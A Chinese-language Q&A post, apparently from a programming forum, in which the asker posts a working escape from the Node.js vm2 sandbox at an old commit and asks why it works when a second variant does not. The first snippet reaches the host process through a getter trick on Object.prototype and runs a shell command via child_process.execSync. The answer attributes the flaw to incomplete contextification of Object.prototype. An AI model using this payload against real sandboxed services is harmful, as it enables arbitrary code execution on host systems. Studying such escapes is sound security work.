2

我尝试尽可能地理解下面的代码,因为理解它对我有很大帮助

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    Object.defineProperty(Buffer.from(""), "", {get set(){
        Object.defineProperty(Object.prototype,"get",{get(){
            throw x=>x.constructor("return process")();
        }});
        return ()=>{};
    }});
}catch(e){
    process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

上面的代码可以逃出 vm2 沙箱。我从 GitHub 克隆了 vm2 的源代码并重置为 7ecabb1。

我知道 vm2 比 vm 更安全,因为它在 es6 中通过代理阻塞了原型链。上面代码中,抛出异常并捕获,然后传入一个箭头函数x = > x.constructor ("return process") ();此时x为代理对象,可以访问外部Function进行逃逸

我也试试这段代码

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    throw function (x) {
        debugger;
        return x.constructor("return process")();
    };
}catch (e) {
    e(()=>{});
}`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

但是在这段代码中,也是一样的,x => x.constructor ("return process") ()此时x是一个函数,无法逃出沙箱,所以我很困惑。第一段代码能逃出vm2沙箱的原因是什么?

4

1 回答 1

1

如果您阅读修复程序https://github.com/patriksimek/vm2/commit/23576ad235b522d70f7acc2aae11ed36d3cf3aac,您会发现Object.prototype未正确上下文化

在您的第二段代码中,您不会破坏 getter/setter 来注入要在主机中运行的函数。

基本上,代理是不完整的。

于 2020-07-08T04:51:35.090 回答